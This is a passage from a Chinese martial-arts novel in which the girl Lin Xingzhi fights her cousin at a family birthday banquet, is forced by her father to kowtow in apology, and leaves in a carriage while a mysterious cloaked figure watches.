此言一出,周围众人却也开始议论纷纷。人们只道那宴会之时横扫千军,大展身手的林家大少爷是一个彬彬有礼的少年英才,此刻却怎地被一个乡野丫头气得破口大骂,全然失了礼数,仿佛自己没有什么少爷的身份,就想跟眼前这个丫头争个你死我活。
“承嗣,你不可无礼!”林老夫人是个人精,很快便察觉到不对,忙对林承嗣劝道。
“祖母,这丫头竟在您大寿之时整出这许多事,我必须好好教训她,替您出了这口恶气。”
说罢,林承嗣双掌对碰,脚下划弧,向林醒致横扑过来。
“林承嗣,你欺人太甚!”林醒致大喊一声,身形一展,脚下腾移挪步,手上随即出招,迎向林承嗣飞将过来的身影。
她此时使用的并非是林家掌中的中规中矩的掌法,而是几路她从未使用过的新招式。那是她在地宫之中见那两个傀儡人所使用的招式。
此刻她怒火中烧,若论林家掌法她可能与那林承嗣也能过上几个回合,但想打败他确实是难上加难。
然而,林醒致急中生智,她脑海中闪过地宫中那二人的一招一式,如同再现般从她眼前闪过。此时不用更待何时,她依照自己记忆中的连招,猛向林承嗣出手。
林承嗣原本只料到这乡下堂妹也只学了林家掌,却不料她此刻出掌却是一门全新的功夫。他心下一惊,接连中了林醒致几拳,胸口剧痛,似是一根肋骨即将折断。
林醒致则将那男女傀儡的招式混杂在一起使将出来,倒也能将林承嗣先行压制。
而在一旁的宋云莲和林风桥也心中疑惑,女儿从哪里学来这般狠厉的招式?
眼看着林醒致即将占到上风,她却于夜色之中看到那黑暗角落里似乎有熟悉的身影。而那人下一瞬正好出现在灯火中,人影闪动之时,林醒致脚下迈步躲闪,正好看到那黑暗中的神秘人正是她此前在林中所见的那位老和尚的本来面目。
什么?
此时那人正身着一袭黑色斗篷,立于人群之后火光之下。
“他怎么在这里?”林醒致大吃一惊,躲闪不及,被林承嗣一下子击翻在地。
林承嗣大喜,他顺势踩上林醒致的右手,一时间鲜血竟从她的手上汩汩流出。
林醒致只觉得剧痛难忍,她忍不住地浑身颤抖,可当她再次睁开眼睛之时,月下之人早已没了踪影。
“莫非是我看错了?”
“啊!”
那林承嗣又对着她的右手猛踩,林醒致的伤口已经全部崩开,她已经顾不了那么多,左手覆上林承嗣的左脚猛烈捶打。
林道堂和林风桥见情势紧急,一同出手,但这两掌却都是冲着林醒致袭来。
然而此时,疼痛已经使得林醒致的眼睛布满血丝,嘴角涌出的血液又被她吞咽回腹中。她觉得自己难以受控,一股力量自丹田汇聚于左拳之上。
“砰!”
林承嗣仰天长啸,双眼紧闭,抱着左脚翻倒在地。林醒致又是一拳,只听得“咔嚓”一声,林承嗣的胳膊竟正好碰在石阶之上,登时摔断。
“嗣儿!”
下一瞬,林醒致也被林道堂一掌击中,飞出屋外。
林风桥见势不妙,猛撤掌力,飞身接住女儿稳落在地。
林道堂抱起儿子,回到堂中,他愤怒道: “二弟,我好心请你前来参加寿宴,你女儿却不仅偷了东西,还放火烧了我院中房屋,现在她又将我儿打成重伤。承嗣不过是身为兄长给她点教训,她却以下犯上,行狠招坏我儿一条臂膀。”
“不,不是······”林风桥不住辩白,而林道堂却哪里会听他的。
“要我将此事了结也可以。”
“大哥请说。”
“我要你女儿当着大家的面,承认错误,保证自己再也不会做这等有辱家风之事。”
“我不!我没错!”
林风桥全然不管林醒致的抵抗,他一手死死扣住林醒致的头,将她下压。
“跪下!”
林醒致觉得一股巨力从头顶传来,她方才五脏六腑都受到了重震,现如今再无力抵抗父亲。她膝盖一软,整个人不受控制地“噗通”一声跪倒在地。
她猛地抬头看向父亲。眼前的父亲一如往日般高大,可是此时却要她亲自将尊严浸于脏水之中。
而此时林风桥看似冷静的面目之下,有不忍也有无奈,那只按在女儿头顶的手,正在微微颤抖。
“认错!给你祖母、伯父还有堂哥······认错!”
林醒致看向父亲的眼神从震惊到疑惑再到麻木。她的确犯了错,可这代价却要她一人承受,依靠践踏她的尊严来化解。
父亲的手压着她的头,一点一点地靠近地面,但林醒致无论如何也不愿开口。
她的鼻尖触碰到冰凉的地板,可这地却哪有心凉啊。林醒致的额角抵在地面上,一连磕了三个响头。
“致儿,只有道歉此事方才能化解……不然,往后咱们的日子只怕不好过了……”耳畔传来父亲的轻语。
林醒致满眼含泪,万分委屈涌上心头,她缓缓开口,一字一句道:“孙女知错了······”
堂上传来林老夫人疲惫的声音:“罢了,知错便好,终归是林家的血脉······”
而一旁的林道堂也摆了摆手,示意人们都退下。
然而周围众宾客虽然逐渐散去,其议论之声却如同蚊蝇嗡鸣之声不住地传入林醒致的耳中。
“这乡野之地长大的顽童,终究是欠管教······”
“害,这小女娃也是一时鬼迷心窍罢了······”
这些声音如此
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刺耳,可林醒致此时却也不想再发作,她在母亲的搀扶下起身,缓缓走出林家院落。
她是记不住到底自己是在怎样的一片目光中“逃”出林家的,一切都是那么令人窒息,林醒致紧闭着双眼大口大口地呼吸着空气,可这空气却也混杂几分浓烟侵染的焦苦之味。
“二爷!”
管家林宽叫住林风桥一家。
“二爷,请止步。”
他疾步跑到林风桥面前:“二爷,你们请随我到后院歇息,今天天色已晚,路上多有不便,不如明日再走吧。”
林风桥看向妻子又看向目光呆滞的林醒致,摇了摇头,开口道:“我们还是离开吧,此次一行本是为母亲贺寿,却不想惹出这许多事端,当真无颜面在这府上多住一日。我们今晚便启程归家吧。”
那宽伯似乎还想再劝说一下林风桥,却见他面色沉重,心情不佳,便也不再多说。
“好,好,那便依二爷的。我去备一辆马车,堂小姐状况不好,若是骑马便会徒增颠簸,不如马车,安稳到家才是。”
林风桥感念林宽的细心周到,这位头发花白的老者是这院子中难得的好心之人。
“我看堂小姐这身上尽是血迹,不如我去寻一套我家小姐的衣服让她穿上。”
林醒致一听宽伯竟然要取什么“我家小姐”的衣服,顿时心口一痛。
怎么我还被你们诬陷得不够惨吗,穿什么小姐的衣服,倘若我穿了,是不是又要怪我是从哪里偷来的。
想到这里,她果断厉声道;"我不穿什么小姐的衣服,我有换洗的衣服,让我换上便好。"
林醒致来到包裹前随便抽出一件黑色长衣披在身上。这是林行远备用的外衣,披在她的身上着实大了不少,却也正好能为林醒致遮蔽严寒,一时间什么冷风似乎都被隔绝在这长衣之外。
宽伯见林醒致披上男孩的外衣,言道:“堂小姐与众不同,颇有些男儿气概。”
“男儿气概?男儿女儿又是谁作的区别?”林醒致苦笑一声,没有说话,也没把他这话放在心上。
宋云莲却道:“我看致儿的确是要比某些男儿有血性得多。”
她话音刚落,林风桥却猛咳一声,示意她不要再说。
当马车缓缓启动,彻底驶离赤龙帮那噩梦之地的时候,林醒致绷紧的一根弦似乎只在一瞬间绷断了。
所有的委屈、不甘和愤怒都涌上心头,十岁的她第一次看清人性的阴暗,什么是清白,什么又是真相,这些都不重要。在某些人的口中,是与不是,全是他们一句话的安排。
她不知道那小乞丐为何要将那戒指塞入她怀中,她也不知那小厮为何要当堂指认自己,这些都是现在的她想不清楚的。
林醒致此时只觉喉头一甜,浓重的血腥味道在她的口腔中蔓延开来,一口鲜血就此喷出。她眼前一黑,软软地倒了下去。
“致儿!”
林风桥和宋云莲忙将其扶住。林醒致的头轻轻靠在母亲的肩头,这肩头如此温暖,她的心逐渐变得平稳,竟沉沉睡去。
这辆马车没有丝毫停歇,一路飞奔,迅速消失在长街的尽头。
而在林府之外,那株盛开一半的梅花树下,一个黑衣身影不知已站立的多久。
他的目光牢牢锁定在马车消失的方向,直到再也听不见那车轮的声响。
他抬手折断了一根枝杈,放到鼻尖轻轻嗅闻,却又狠狠掷在地上,转身离去。
只留下被踩得粉碎的一枝梅花。